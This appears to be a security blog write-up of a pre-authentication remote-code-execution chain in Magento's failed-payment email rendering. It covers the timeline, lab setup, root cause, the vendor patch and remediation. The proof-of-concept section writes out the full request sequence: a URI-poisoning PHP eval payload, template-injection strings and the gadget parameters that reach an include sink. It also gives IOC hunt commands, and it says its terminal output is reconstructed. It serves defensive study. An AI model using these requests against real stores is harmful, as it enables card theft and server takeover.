Magento renders order-failure emails on the server at request time, even if the email is never opened. This behavior is central to CVE-2026-75650, which enables pre-authentication remote code execution with a CVSS score of 10.0.
An attacker can cancel their own checkout, causing Magento to generate the payment-failure email. During that process, a chain of four vulnerabilities allows the attacker’s PHP code to execute within the email rendering process. No credentials, admin session, or user interaction are required.
The name StyleSmuggler came from Sansec, whose forensics team identified the campaign on September 4, 2026, and published its findings on September 5, three days before Adobe released a patch.
The attack uses a URL parameter named styles. A nested array passed through this parameter ultimately carries a filesystem path, class name, and method name to an include statement.
Adobe released the fix as the Composer patch VULN-39341 in security bulletin APSB26-146 on September 7, 2026 stated that it was aware of exploitation in the wild. CISA added the CVE to its Known Exploited Vulnerabilities (KEV) catalog on September 8, with a September 11 federal remediation deadline.
In the weeks that followed, Sansec documented three separate criminal toolsets found on compromised stores: a Rust implant disguised as NTP traffic, a PHP dropper containing an interlock-token webshell, and a toolkit that combined gs-netcat, the open-source WraithC2 RAT, and a functional credit-card skimmer.

The chain rewards dissection precisely because no single component is reckless. An error handler that logs the request URI is normal. A template filter that marks unchanged nested directives as deferred to the parent is a plausible design.
A factory that instantiates before it type-checks is a common ordering mistake. A DI scanner that includes PHP files is doing its job during bin/magento setup:di:compile, from the CLI, where it belongs. StyleSmuggler is four reasonable decisions holding hands.
Note that the terminal transcripts and screenshot panels in this article are reconstructions generated from the public research. Rerun the chain in your own lab to confirm the output on your build.
Setup the lab
Two public labs exist, and this analysis leans on both: the dinosn validation lab proves the sink and the patch boundary with a deliberately non-weaponized marker, and the Fortbridge lab supplies the piece dinosn explicitly leaves out: the full unauthenticated HTTP connector. The compose stack in lab/ reproduces the dinosn shape with pinned versions, so the blog’s commands match the environment.
| Version (vulnerable) | Magento Open Source 2.4.9, source pinned at 755e34dd6890… |
| Version (fixed control) | Adobe composer patch VULN-39341 for your branch (repo.magento.com/patch) |
| Stack | MariaDB 11.8 + OpenSearch 3.1 + PHP 8.5-Apache (the 2.4.9 platform), loopback-only |
| Resources | ~6 GB RAM, 15–40 min first build |
bash
cd lab
./setup_env.sh # clone pinned source, composer install, setup:install, caches
cd ..
python3 exploit/poc.py --target http://127.0.0.1:8096 # the chain
cd lab && ./ab_check.sh && cd .. # the A/B canary
The A/B check is the point of the lab: ab_check.sh runs the full unauthenticated chain with a payload that writes a fresh random marker to /tmp. On the vulnerable build, the marker exists; on the VULN-39341-patched build, it does not. One file, one bit of evidence.

Verifying the patch
Apply the VULN-39341 Composer patch to your branch (vendor/bin/magento-patches-n status|grep “39341\|Status”) and rerun the canary.
All four protections take effect: setTemplateStyles() now rejects arrays, the Preview block requires the Magento_Email::template ACL, the generator factory validates the type before instantiating, and error reports include a <?php exit; ?> guard.
Note (EgnWorks’ operational caveat): the September isolated security patch is distributed as a separate Composer package from the monthly quality rollup, so scanners that check only the monthly patch level can report false negatives.
Proof of Concept
bash
python3 exploit/poc.py --target http://127.0.0.1:8096
=== CVE-2026-75650 'StyleSmuggler'- Magento unauthenticated RCE ===
[*] Mode: marker-only (canary STYLESMUGGLER_RUN_9f2b41c7a8d03e56)
[*] Stage 1: poisoning an error report via REQUEST_URI
[+] Report id disclosed in response: 3f8c1a9e2b7d64f0…
[*] Stage 2: guest cart + poisoned billing address
[+] cart: hTk3vBpQ8xZm1NcK
[+] Guest email set
[+] Billing address with the parser bridge accepted
[*] Stage 3: handlePayflowProResponse (declined) with styles[] query params
sink target: /var/www/html/var/report/3f8c1a9e2b7d64f0c3b8a2f19d6e5b4081ac2e7d8d4b1a6f0c2e9b57a3d1f6e0
[*] Trigger returned HTTP 200 (the email render happens server-side here)
[*] On the target: ls /tmp/STYLESMUGGLER_RUN_9f2b41c7a8d03e56
Present -> vulnerable: styles[] reached ArrayScanner::collectEntities().
Absent -> patched (VULN-39341) or the report-id path needs the
Fortbridge connector variant.
[*] Done.
# inside the container
root@magento:/var/www/html# ls -la /tmp/STYLESMUGGLER_RUN_*
-rw-r--r-- 1 www-data www-data 34 Sep 16 12:41 /tmp/STYLESMUGGLER_RUN_9f2b41c7a8d03e56
| Report id disclosed in response | The poisoned report landed and its filename is knowable; the include target is now addressable. |
| cart: hTk3vBpQ8xZm1NcK | Guest checkout, the one code path every store must keep open, accepted the parser bridge in a billing address field. |
| Billing address with the parser bridge accepted | The company field carried nested {{if}} blocks plus the parked {{block}} directive past input validation. |
| Trigger returned HTTP 200 | The declined PayflowPro response fired PaymentFailuresService; the email rendered during this request. Nobody opened anything. |
| Marker file exists | styles[first] reached ArrayScanner::collectEntities() and the poisoned report executed as www-data. |
The four requests on the wire:
Stage 1: poison the report. The URI is logged verbatim into var/report/<sha256>, and the report id comes back in the error response:
http
POST /paypal/transparent/response/?<?=eval(base64_decode($_GET[0]))?>
The error surfaced is No such entity with cartId = 0; the report id rides in the response body. Variants poison ../var/log/system.log and ../var/log/exception.log the same way.
Stage 2: guest cart and parser bridge. Three unauthenticated GraphQL operations (createEmptyCart, setGuestEmailOnCart, setBillingAddressOnCart), with the company field carrying the nested-{{if}} parser bridge plus the parked {{block}} directive; the street validator rejects braces, which is why the bridge rides in company:
text
company: "{{if postcode}}{{var postcode}}{{/if}}{{/var}}
{{if postcode}}{{var postcode}}{{/if}}
{{if city}}{{block class=Magento\Email\Block\Adminhtml\Template\Preview}}{{/if}}"
street: ["1 Bridge Street"], city: "x", postcode: "{{var postcode}}"
Stage 3: the trigger. A declined PayflowPro response fires PaymentFailuresService; type, text, and styles ride as URL query parameters on the same /graphql request:
http
POST /graphql?type=2
&text={{block class=Magento\Backend\Block\Widget\Grid\ColumnSet rowUrl=$this.template_styles}}
&styles[first]=/var/www/html/var/report/<report-id>
&styles[generatorClass]=Aws\S3\S3Client
&styles[with_resolved][0][_i_]=Magento\Setup\Module\Di\Code\Scanner\ArrayScanner
&styles[with_resolved][1]=collectEntities
&0=<base64 PHP>
{"query":"mutation { handlePayflowProResponse(input: {cart_id: \"<cart>\", paypal_payload: \"RESULT=12&RESPMSG=Declined\"}) { … } }"}
Reading the parameter roles: styles[first] is the poisoned report path the scanner will include; with_resolved[0][__i__] plus [1] build the [ArrayScanner, ‘collectEntities’] callable that the S3Client constructor invokes through with_resolved; and 0= is the base64 PHP the report executes.
The pre-auth claim deserves precision: no step authenticates, but the sink block (the Email Template Preview) is admin-gated in the patched code, which is exactly why the fix works.
The chain’s genius is reaching that admin component through a signature confusion rather than an admin session. In the wild, the payload evolved past markers quickly:
pub/media/catalog/product/cache/ss_<10hex>/sync_<10hex>.php for webshells, a gs-netcat relay placed at pub/defunct and unlinked after 26 seconds, and php-fpm’s private temp dirs.
One victim’s operators relocated sessions to Redis; eight seconds later the attacker achieved the same execution through a file uploaded via Magento’s custom options feature.

Static Analysis and Root Cause
The sink
Magento\Setup\Module\Di\Code\Scanner\ArrayScanner exists for bin/magento setup:di:compile. It walks arrays of class descriptions, treats entries as filesystem paths, and includes them so PHP can reflect on the classes they declare:
php
// setup/src/Magento/Setup/Module/Di/Code/Scanner/ArrayScanner.php
public function collectEntities(array $files, string $path): array
{
foreach ($files as $file) {
$filePath = $path . DIRECTORY_SEPARATOR . ltrim($file, '/');
if (file_exists($filePath)) {
include_once $filePath; // ← styles[first] lands here
}
}
}
No SAPI check, no path allowlist, no signature. PHP parses <?php and <?= tags regardless of file extension, which is why the poisoned error report, a plaintext file under var/report/, executes when included. As Disrex put it, three scanner classes like this one have “no legitimate reason to run during a web request.”

The gadget: validation after instantiation
Magento\Backend\Block\Widget\Grid\ColumnSet, which hands it to UrlGeneratorFactory::createUrlGenerator(). The factory asks the ObjectManager to instantiate styles[generatorClass], the attacker’s choice is Aws\S3\S3Client, from the AWS SDK bundled with every Magento install, and only after construction checks instanceof GeneratorInterface, throwing an exception that arrives too late to matter.
S3Client’s constructor resolves its config and invokes any with_resolved callback; the attacker supplies that callback through ObjectManager’s parseArray nested-object syntax: styles[with_resolved][0][_i_] names the ArrayScanner class, styles[with_resolved][1] names collectEntities.
The callable [ArrayScanner, ‘collectEntities’] runs with styles[first] in scope. Constructor, then check. The patch’s first line inverts exactly this.
The entry: a billing address that writes templates
The failed-payment email is where the chain meets attacker bytes. PaymentFailuresService formats the billing address into the email template, and the address fields pass through Magento’s template filter, which processes {{if}}, {{var}}, and {{block}} directives.
The bridge sits in the billing company field because the street validator rejects braces:
company: {{if postcode}}{{var postcode}}{{/if}}{{/var}}
{{if postcode}}{{var postcode}}{{/if}}
{{if city}}{{block class=Magento\Email\Block\Adminhtml\Template\Preview}}{{/if}}
The nested {{if}} blocks manipulate the filter’s parse depth; the {{block}} directive that follows cannot resolve inside this context, so it passes through the filter unchanged. And unchanged is the magic word.
The root flaw: an integrity marker over a string
At nesting depth greater than one, Magento’s template filter wraps any directive that survives parsing unchanged with a random 32-character marker from a single SignatureProvider.
The marker’s meaning is “this directive was not mangled by this pass, it is deferred to the parent template, treating it as trusted on the next pass.”
The parser bridge makes that statement true for attacker-chosen bytes: the nested-{{if}} construction leaves the {{block class=…Preview}} directive byte-identical through the failed-payment email’s render, so it gets stamped, survives into the real template processing, and executes.
Preview then reads its template content from request parameters, text and the nested styles array, and the rest of the chain unfolds inside what the framework believes is its own deferred execution.

Bigbridge’s alternative patch targets exactly this: only sign directives that are explicitly deferred to the parent template, rather than everything that happens to survive a parse. That is the root-cause fix; Adobe’s four neutralizations are boundary fixes at each end of the chain.
Patch Diffing
Adobe ships VULN-39341 as a Composer patch, so no Git commit exists to cite; the qoliber mirror of Adobe’s untouched patch files is the public record. The bulletin covers Adobe Commerce
2.4.4-2026-aug through 2.4.9-2026-aug, B2B 1.3.3-2026-aug through 1.5.3-2026-aug, and Magento Open Source 2.4.6-2026-aug through 2.4.9-2026-aug, though Sansec and Kudelski report OSS affected from 2.4.4, a minor vendor discrepancy worth noting during inventory.
It is also the first application of Adobe’s August 2026 policy of assigning a single CVE to systemic fixes of the same severity and CWE. Eight files across five packages; four independent neutralizations:

- Type checked before instantiation. UrlGeneratorFactory now runs is_a($generatorClassName, GeneratorInterface::class, true) before $this->_objectManager->create(), with the comment “Validate the type BEFORE instantiation.” The S3Client construction, and with it the with_resolved callback, never happens.
- ACL on the Preview sink. Preview::_toHtml() returns empty unless the caller holds Magento_Email::template. The newsletter previews get the same treatment. The admin component stops answering to the storefront.
- Array rejection at the source. setTemplateStyles() / setTemplateText() coerce non-strings to empty: is_string($value) ? $value : ”. The styles[…] query array dies at the assignment.
- Report execution guard. Every error report is prepended with <?php exit; ?> and its data sanitized with str_replace(‘<?’, ‘< ?’, $value), in both pub/errors/processor.php and Webapi/ErrorProcessor.php. Even a poisoned report file is inert on include .
Any one of the four would have broken the chain. That redundancy is the right call for a KEV-listed bug, because each layer covers a different entry the next researcher might find.
What the patch does not do is remove the DI scanners from the web request path, sign directives by intent rather than by luck, or rotate anything on a compromised store. Tenable’s line is the operative one: “Patching alone does not remediate an existing compromise.”
Conclusion
Impact
A CVSS 10.0 pre-auth RCE on the platform that handles checkout flows is nobody’s idea of a quiet Tuesday. Adobe Commerce and Magento Open Source run a meaningful share of internet retail, and the chain requires nothing but network reachability to /graphql and a PayPal PayflowPro payment method configured, which is stock.
The in-the-wild record shows the full arc inside a week: first exploitation September 4, the patch September 7, KEV September 8, and by September 9, a store carrying a Rust implant, a gs-netcat relay, WraithC2, an Adminer instance, and a working card skimmer exfiltrating to five domains.
Card skimming is the monetization that matters here. core_config_data’s design/head/includes path is Magento’s own “insert scripts on every page” setting, and the attacker used it the way it was designed to be used.
The volume picture is genuinely unknown: no vendor or researcher has published a compromised-store count, which is itself notable given Sansec’s vantage point inside hundreds of e-commerce estates.
What is documented: three distinct, uncoordinated criminal toolsets on different victims, honeypot probes starting the day of the patch, and attacker infrastructure in China and Romania. Exploitation began three days before a patch existed, so every store that has ever run an affected version between those dates must be treated as potentially compromised, not merely exposed.
The compressed timeline, from first exploitation to full toolset deployment:
| Sep 4 | First confirmed exploitation; Sansec detects ~20 minutes later |
| Sep 5 | Sansec publishes and names StyleSmuggler; Shield rules ~8 h after first exploitation |
| Sep 7 | Adobe publishes APSB26-146 / VULN-39341, three days after first exploitation |
| Sep 8 | CISA KEV (due Sep 11) |
| Sep 9 | gs-netcat + WraithC2 toolkit observed on a victim store |
| Sep 10 | Cloudflare/Imperva WAF rules ship |
| Sep 12 | Fortbridge publishes the unauthenticated HTTP connector |

Remediation
- Apply VULN-39341 now, not the monthly rollup alone: the isolated security patch is a separate Composer package, and patch-level scanners can miss it. Verify: vendor/bin/magento-patches -n status | grep 39341. Scanner caveat: NVD’s fix string reads “CVE-2026-7565”; Adobe dropped a trailing zero, so scanners matching that string report false negatives.
- Hunt before you celebrate: The Sansec sweep covers it:
crontab -l | grep -i gvfsd; ls -la ~/.local/share/.gvfsd/ ~/.cache/fontconfig/fc-cache /tmp/.chrony-*/chronyd; ps -eo pid,comm,args | grep -iE ‘kworker|fc-cache|chronyd’; grep -ril ‘x_trace_’ var/report/. - Check the skimmer’s favorite seat: SELECT * FROM core_config_data WHERE path=’design/head/includes’; and review design/footer/includes too. Ecomscan signature for the known sample: hotjarsolutions_array_prototype_slice_call_b64_9abb4.
- Grep access logs for the fingerprints: template_styles (present in every stage-2 URI in every encoding), kwc (the second-stage command parameter), and styles[first]= hitting /graphql. Also search for POST /paypal/transparent/response/?<?=, the report poison.
- If any of it hits, treat patching as step one of eight, not the finish line: rotate every credential the store holds (admin, API integrations, database, Redis), rebuild the web tier rather than cleaning in place, and engage e-commerce incident response. The implant’s anti-forensics checks TracerPid and simply never beacons under a debugger.
- Mitigate forward: Tu Van’s module-paypal-payment-failure-guard makes the failed-payment email fire only when the cart actually has a payment method selected; the graycoreio hardening module allowlists {{block}} classes; Kudelski’s disable_functions and noexec-on-/tmp guidance bounds what the next template bug can do.
Takeaway
StyleSmuggler is a template-injection bug in which no template engine is at fault. The DI scanner is doing compilation work. The filter’s marker is doing integrity work, badly. The factory is doing DX work. The error handler is doing observability work. Each is locally reasonable; the composition is a root shell.
That is the recurring shape of 2026’s big bugs (wp2shell’s parallel arrays, FMC’s boot-time session, this filter’s stamp), and the review question they all reduce to: when a value crosses from a context where it is inert to one where it is live, who re-checks it? Here, the answer was nobody, at three separate crossings.
The other lesson is temporal. Sansec detected the campaign eight hours before publishing, and the patch shipped on day three, but exploitation had been running since day zero, and the toolsets kept arriving through day five and beyond.
WAF rules from the big clouds landed five days after Sansec Shield’s did. For store operators, the sequence that works is unglamorous: apply the Composer patch the day it lands, hunt the named IOCs that same day, and assume the pre-patch window was not empty.
References
- Adobe security bulletin APSB26-146, https://helpx.adobe.com/security/products/magento/apsb26-146.html
- Adobe Experience League KB, https://experienceleague.adobe.com/en/docs/commerce-knowledge-base/kb/announcements/commerce-apsb26-146
- NVD entry for CVE-2026-75650, https://nvd.nist.gov/vuln/detail/CVE-2026-75650